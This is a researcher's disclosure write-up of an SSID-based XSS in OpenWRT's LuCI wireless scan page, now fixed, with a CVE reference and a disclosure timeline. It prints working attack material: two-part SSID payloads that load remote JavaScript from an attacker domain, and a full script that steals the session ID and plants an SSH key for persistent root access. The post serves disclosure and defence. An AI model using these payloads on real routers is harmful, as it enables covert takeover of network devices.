Lately, I’ve been experimenting with unusual XSS vectors. XSS (cross-site scripting) allows an attacker to execute arbitrary javascript in another user’s browser session. Sometimes the result is merely entertaining, sometimes the result is:
Dear Sasha, excellent (and terrible) find!
A crafted wifi SSID could lead to an XSS in the OpenWRT admin interface, if an admin opened the nearby wifi scan while the SSID was active. Given full access to the admin interface, I could then escalate this to a remote root shell.
The XSS vulnerability
OpenWRT’s LuCI web interface includes a wireless scan page that lets administrators scan for nearby networks and displays a table of visible access points, including their SSIDs.
The vulnerability was in wireless.js in the luci-mod-network package.
The SSID ultimately passed into innerHTML. No sanitisation was applied
at any point in the data path.
SSID can consist of up to 32 arbitrary bytes. The characters needed for HTML injection are all printable ASCII, and they passed through the entire stack without modification.
This is not the first SSID injection in LuCI. CVE-2019-25015 identified the same class of bug in the wireless Join flow (Network → Wireless → Scan → Join). This finding affects the scan result list itself, which requires less interaction with the malicious network, already being visible in a scan.
The attack required:
- A malicious access point, broadcasting beacon frames that are received by the OpenWRT device
- An administrator to open the wireless scan page at the same time
It did not require the administrator to connect to the malicious network, or even click on it. Visibility in the scan was sufficient. No authentication details of the attacked network were required. The attacker did not need any credentials for a device or wifi network.
For further refinement, a cheap device left behind broadcasting malicious SSIDs would also have worked, waiting passively for an admin to open the scan page. Directional antennas could increase the physical attack range, as the communication is one way. And intentionally disrupting the network could have made it more likely for an admin to open the scan page, to see if perhaps someone else started using the same channel.
The attack window existed only while the malicious SSIDs were in range. Once they disappeared, the risk was gone: the attack required an admin opening the page while they were active.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, score 8.6.
Overcoming length limits with two SSIDs
The XSS payload in an SSID is constrained by the 32-byte SSID length limit,
and <script> tags won’t execute when added in innerHTML. That leaves little
room for a useful payload.
My typical payload would be something like:
SSID: <img src=x onerror=import(//domain/x.js)>
But that’s too long, unless your payload URL is just two bytes.
A solution was to use two access points broadcasting simultaneously.
SSID 1: <a id=s href=//domain/x.js>
SSID 2: <img src=x onerror=import(s)>

As the devices I had on hand only support broadcasting one SSID, I set up one on a laptop, and the second on a T-Deck running Marauder.
When the admin opened Network → Wireless → Scan, both SSIDs were injected into
the DOM. The anchor element was registered as window.s via HTML named access.
The onerror handler fired and import(s) resolved to
import("https://domain/x.js"). The external module loaded and executed
arbitrary JavaScript in the authenticated admin session, with no further length
restriction. As a bonus, the exploited instance told the attacker’s domain its
external IP address.
Escalation to root
Because LuCI runs with full administrative privileges, the injected javascript gained full control over the router’s configuration interface. Here’s a video of how this could turn into remote root access:
In addition to what you see in the video, my nearby T-Deck was advertising
the SSID <img src=x onerror=import(s)>.
My loaded javascript extracted the session ID from the page and used
it to make authenticated calls to the ubus API:
uci/setto clear the dropbear interface restriction and enable gateway portsfile/writeto plant an SSH public key in/etc/dropbear/authorized_keysuci/commitanduci/applyservice/restarton dropbear to pick up the changes
fetch('/cgi-bin/luci/')
.then(r => r.text())
.then(async html => {
const sid = html.match(/sessionid['":\s]+([a-f0-9]{32})/)?.[1];
const call = (obj, method, params) => fetch('/ubus', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'call',
params: [sid, obj, method, params] })
}).then(r => r.json());
await call('uci', 'set', { config: 'dropbear', section: '@dropbear[0]',
values: { Interface: '', GatewayPorts: 'on', PasswordAuth: 'on' } });
await call('uci', 'commit', { config: 'dropbear' });
await call('file', 'write', {
path: '/etc/dropbear/authorized_keys',
mode: 384,
data: 'ssh-ed25519 AAAA...\n'
});
await call('uci', 'apply', {});
await call('service', 'restart', { name: 'dropbear' });
});

The end result: persistent root SSH access to the router, established the moment the admin opened the scan page, with no visible indication to the admin that anything happened. Once this payload had executed, the wifi SSIDs and the scan page were no longer needed: remote root access would remain open.
I verified this myself on a factory-default OpenWrt 25.12.0 installation on a FRITZ!Repeater 1750E.
Fix
The fix in OpenWRT replaces the unsafe innerHTML rendering with proper text node
insertion. This was committed within one day from my report.
This is fixed in OpenWrt 24.10.6 and OpenWrt 25.12.1.
Downstream
Other distributions shipping luci-mod-network unmodified may also be affected.
This may include GL.iNet or Turris OS, but I have not verified this myself.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-12 | Initial report sent to OpenWRT security team |
| 2026-03-13 | Received confirmation from OpenWRT, fix committed and tested by me |
| 2026-03-19 | Advisory published, new OpenWRT versions released |
Working with the OpenWRT team on this was easy and pleasant.
Other vendors
The default firmware on my FRITZ!Repeater 1750E is not vulnerable. My MikroTik access points are also handling it fine:

Disclosure regarding one vendor is pending.
A broader pattern
I’ve been finding multiple interesting XSS injections through unusual network vectors. Several others have been fixed, and some are pending disclosure coordination. More to come :)
References
- GHSA-vvj6-7362-pjrw
- CVE-2026-32721
- CVE-2019-25015 (prior SSID injection in LuCI Join flow)
- Commit introducing the vulnerability
I'm Sasha Romijn, an independent developer and internet infrastructure specialist in Amsterdam. I find security issues in internet infrastructure, usually in configurations, trust relationships, and cross-system behaviour that got overlooked. Previous finds include rooting OpenWrt via SSID and, some years back, compromising Apple keychain access groups.
Find me on Mastodon, Bluesky, or work with me.
Fritz repeater photo by Blingoo, CC-BY-SA, via Wikimedia Commons